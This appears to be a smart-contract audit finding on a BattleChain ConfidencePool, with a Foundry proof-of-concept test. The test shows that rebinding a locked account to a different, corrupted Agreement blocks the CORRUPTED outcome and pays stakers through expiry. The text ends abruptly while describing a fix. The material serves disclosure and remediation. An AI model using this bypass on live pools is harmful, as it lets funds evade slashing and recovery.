Normal behavior is that a ConfidencePool commits to a fixed list of BattleChain accounts once the registry leaves pre-attack staging. The design states that later narrowing or expansion of the underlying Agreement should not change what the pool covers; the pool's own locked scope is the binding audit trail.
The upstream dependency behavior is intentional. Agreement.removeAccounts() calls unregisterContractForExistingAgreement, which deletes the account binding when the caller is the current binding Agreement. AttackRegistry.rejectAttackRequest() also clears every account binding for a rejected Agreement and deletes the Agreement registry state without consulting cantChangeUntil. Later registration paths can bind the same account to another Agreement when the existing binding is absent or no longer active. The upstream IAgreement.isContractInScope documentation warns that scope membership does not establish the Binding Agreement and users must resolve it via AttackRegistry.
Reason 1: This occurs after Agreement A enters a post-staging state and the ConfidencePool locks its local scope, then the account's AttackRegistry binding is cleared through post-commitment account removal or DAO rejection of A's attack request.
Reason 2: This occurs when that detached account is registered under Agreement B and Agreement B reaches CORRUPTED while Agreement A remains non-CORRUPTED, such as UNDER_ATTACK or NOT_DEPLOYED after rejection.
Reason 3: The ConfidencePool's required expiry lead is 30 days, while the upstream commitment window can be 7 days, and registry rejection/terminal relinking can detach bindings independently of the commitment window.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract BindingAttackRegistryMock {
mapping(address agreement => IAttackRegistry.ContractState state) internal agreementState;
mapping(address account => address agreement) internal bindingAgreement;
function requestUnderAttack(address agreement, address[] calldata accounts) external {
agreementState[agreement] = IAttackRegistry.ContractState.ATTACK_REQUESTED;
for (uint256 i; i < accounts.length; ++i) {
_link(accounts[i], agreement);
}
}
function approveAttack(address agreement) external {
require(agreementState[agreement] == IAttackRegistry.ContractState.ATTACK_REQUESTED, "not requested");
agreementState[agreement] = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function rejectAttackRequest(address agreement, address[] calldata accounts) external {
require(agreementState[agreement] == IAttackRegistry.ContractState.ATTACK_REQUESTED, "not requested");
for (uint256 i; i < accounts.length; ++i) {
delete bindingAgreement[accounts[i]];
}
delete agreementState[agreement];
}
function markCorrupted(address agreement) external {
IAttackRegistry.ContractState state = agreementState[agreement];
require(
state == IAttackRegistry.ContractState.UNDER_ATTACK
|| state == IAttackRegistry.ContractState.PROMOTION_REQUESTED,
"not attackable"
);
agreementState[agreement] = IAttackRegistry.ContractState.CORRUPTED;
}
function instantPromote(address agreement) external {
agreementState[agreement] = IAttackRegistry.ContractState.PRODUCTION;
}
function registerContractForExistingAgreement(address account) external {
IAttackRegistry.ContractState state = agreementState[msg.sender];
if (state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED) {
return;
}
if (bindingAgreement[account] == msg.sender) return;
_revertIfLinkedToActiveAgreement(account);
bindingAgreement[account] = msg.sender;
}
function unregisterContractForExistingAgreement(address account) external {
if (bindingAgreement[account] == msg.sender) {
delete bindingAgreement[account];
}
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return agreementState[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return bindingAgreement[account];
}
function _link(address account, address agreement) internal {
if (bindingAgreement[account] == agreement) return;
_revertIfLinkedToActiveAgreement(account);
bindingAgreement[account] = agreement;
}
function _revertIfLinkedToActiveAgreement(address account) internal view {
address current = bindingAgreement[account];
if (current == address(0)) return;
IAttackRegistry.ContractState state = agreementState[current];
require(
state != IAttackRegistry.ContractState.ATTACK_REQUESTED
&& state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED,
"active binding"
);
}
}
contract BindingAgreementMock {
address public owner;
BindingAttackRegistryMock internal immutable registry;
uint256 internal immutable cantChangeUntil;
address[] internal scope;
mapping(address account => bool inScope) internal scoped;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
constructor(address owner_, BindingAttackRegistryMock registry_, address[] memory accounts, uint256 cantChangeUntil_) {
owner = owner_;
registry = registry_;
cantChangeUntil = cantChangeUntil_;
for (uint256 i; i < accounts.length; ++i) {
scope.push(accounts[i]);
scoped[accounts[i]] = true;
}
}
function requestUnderAttack() external onlyOwner {
registry.requestUnderAttack(address(this), scope);
}
function approveAttack() external {
registry.approveAttack(address(this));
}
function rejectAttackRequest() external {
address[] memory accounts = scope;
registry.rejectAttackRequest(address(this), accounts);
}
function markCorrupted() external {
registry.markCorrupted(address(this));
}
function instantPromote() external {
registry.instantPromote(address(this));
}
function addAccount(address account) external onlyOwner {
if (!scoped[account]) {
scoped[account] = true;
scope.push(account);
}
registry.registerContractForExistingAgreement(account);
}
function removeAccount(address account) external onlyOwner {
require(block.timestamp >= cantChangeUntil, "commitment active");
require(scope.length > 1, "cannot remove all");
require(scoped[account], "not in scope");
scoped[account] = false;
for (uint256 i; i < scope.length; ++i) {
if (scope[i] == account) {
scope[i] = scope[scope.length - 1];
scope.pop();
break;
}
}
registry.unregisterContractForExistingAgreement(account);
}
function isContractInScope(address account) external view returns (bool) {
return scoped[account];
}
function getBattleChainScopeAddresses() external view returns (address[] memory) {
return scope;
}
function getCantChangeUntil() external view returns (uint256) {
return cantChangeUntil;
}
}
contract ConfidencePoolBindingAgreementReassignmentPoCTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant COVERED_ACCOUNT = address(0xC0FFEE);
address internal constant ANCHOR_ACCOUNT = address(0xA11CE);
address internal constant OTHER_ACCOUNT = address(0xB0B);
MockERC20 internal token;
BindingAttackRegistryMock internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
BindingAgreementMock internal agreementA;
BindingAgreementMock internal agreementB;
ConfidencePool internal pool;
address internal agreementOwner = makeAddr("agreement-owner");
address internal secondAgreementOwner = makeAddr("second-agreement-owner");
address internal moderator = makeAddr("pool-moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
uint256 internal cantChangeUntil;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new BindingAttackRegistryMock();
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
cantChangeUntil = block.timestamp + 7 days;
address[] memory agreementAScope = new address[](2);
agreementAScope[0] = COVERED_ACCOUNT;
agreementAScope[1] = ANCHOR_ACCOUNT;
agreementA = new BindingAgreementMock(agreementOwner, attackRegistry, agreementAScope, cantChangeUntil);
address[] memory agreementBScope = new address[](1);
agreementBScope[0] = OTHER_ACCOUNT;
agreementB = new BindingAgreementMock(secondAgreementOwner, attackRegistry, agreementBScope, cantChangeUntil);
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
pool = _deployPool(address(agreementA));
}
function testLockedScopeReboundToCorruptedAgreementBypassesCorruptedPoolResolution() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
agreementA.approveAttack();
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "pool scope is permanently locked");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool still commits to the covered account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementA), "initial binding");
vm.warp(cantChangeUntil + 1);
vm.prank(agreementOwner);
agreementA.removeAccount(COVERED_ACCOUNT);
assertFalse(agreementA.isContractInScope(COVERED_ACCOUNT), "A no longer lists the account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0), "binding cleared");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool's locked local scope did not change");
vm.prank(secondAgreementOwner);
agreementB.addAccount(COVERED_ACCOUNT);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementB), "account rebound to B");
vm.prank(secondAgreementOwner);
agreementB.requestUnderAttack();
agreementB.approveAttack();
agreementB.markCorrupted();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"current binding agreement is corrupted"
);
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"pool's fixed agreement is not corrupted"
);
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolves as expired");
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "staker receives principal plus bonus");
assertEq(token.balanceOf(recovery), 0, "corrupted recovery path was bypassed");
assertEq(token.balanceOf(address(pool)), 0, "all pool funds left through the non-corrupted path");
}
function testSamePoolSlashesWhenItsStoredAgreementIsCorrupted() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
agreementA.approveAttack();
pool.pokeRiskWindow();
agreementA.markCorrupted();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE, "stored-agreement corruption slashes pool");
assertEq(token.balanceOf(alice), 0, "staker receives nothing on normal corrupted path");
}
function testCommitmentPastExpiryDoesNotPreventRejectionRebindingBypass() external {
cantChangeUntil = block.timestamp + 60 days;
address[] memory agreementAScope = new address[](2);
agreementAScope[0] = COVERED_ACCOUNT;
agreementAScope[1] = ANCHOR_ACCOUNT;
agreementA = new BindingAgreementMock(agreementOwner, attackRegistry, agreementAScope, cantChangeUntil);
address[] memory agreementBScope = new address[](1);
agreementBScope[0] = OTHER_ACCOUNT;
agreementB = new BindingAgreementMock(secondAgreementOwner, attackRegistry, agreementBScope, cantChangeUntil);
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
pool = _deployPool(address(agreementA));
assertGt(agreementA.getCantChangeUntil(), pool.expiry(), "proposed cantChangeUntil mitigation is satisfied");
vm.prank(agreementOwner);
agreementA.requestUnderAttack();
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
assertTrue(pool.scopeLocked(), "ATTACK_REQUESTED observation locks pool scope");
assertEq(pool.riskWindowStart(), 0, "ATTACK_REQUESTED is not an active-risk observation");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool still commits to the account");
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(agreementA), "initial binding");
agreementA.rejectAttackRequest();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"rejected agreement returns to NOT_DEPLOYED"
);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0), "rejection clears binding");
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT), "pool scope remains locked after rejection");
vm.prank(secondAgreementOwner);
agreementB.addAccount(COVERED_ACCOUNT);
vm.prank(secondAgreementOwner);
agreementB.requestUnderAttack();
agreementB.approveAttack();
agreementB.markCorrupted();
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"current binding agreement is corrupted"
);
address whitehat = makeAddr("whitehat");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolves as expired");
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "staker recovers principal");
assertEq(token.balanceOf(whitehat), 0, "whitehat receives no good-faith bounty");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "bonus exits through non-corrupted sweep");
}
function _deployPool(address agreement) internal returns (ConfidencePool deployedPool) {
address[] memory scope = new address[](1);
scope[0] = COVERED_ACCOUNT;
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
deployedPool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
The first test proves the bypass end-to-end: the locked account's current Binding Agreement is CORRUPTED, the pool moderator cannot flag CORRUPTED, and expiry pays 150e18 to the staker while recovery receives zero. The second test is a control proving the same pool does slash when the stored Agreement A is the corrupted Agreement, so the failure is specifically the missing Binding Agreement tracking.
These fork checks confirm the live BattleChain testnet SafeHarborRegistry, AttackRegistry, Agreement ABI, enum ordinals, and ConfidencePool creation path match the code path used by the PoC.
The pool must preserve or validate the account-to-Agreement relationship used for settlement, and it needs a non-bricking resolution path when that relationship diverges. Robust options are:
One implementation direction is to derive pool state from the locked account-level commitment, not only from the fixed Agreement address used during initialization. For example, resolve every locked account's current Binding Agreement through AttackRegistry.getAgreementForContract(account) and let the moderator settle CORRUPTED when a scoped account's operative Binding Agreement is corrupted: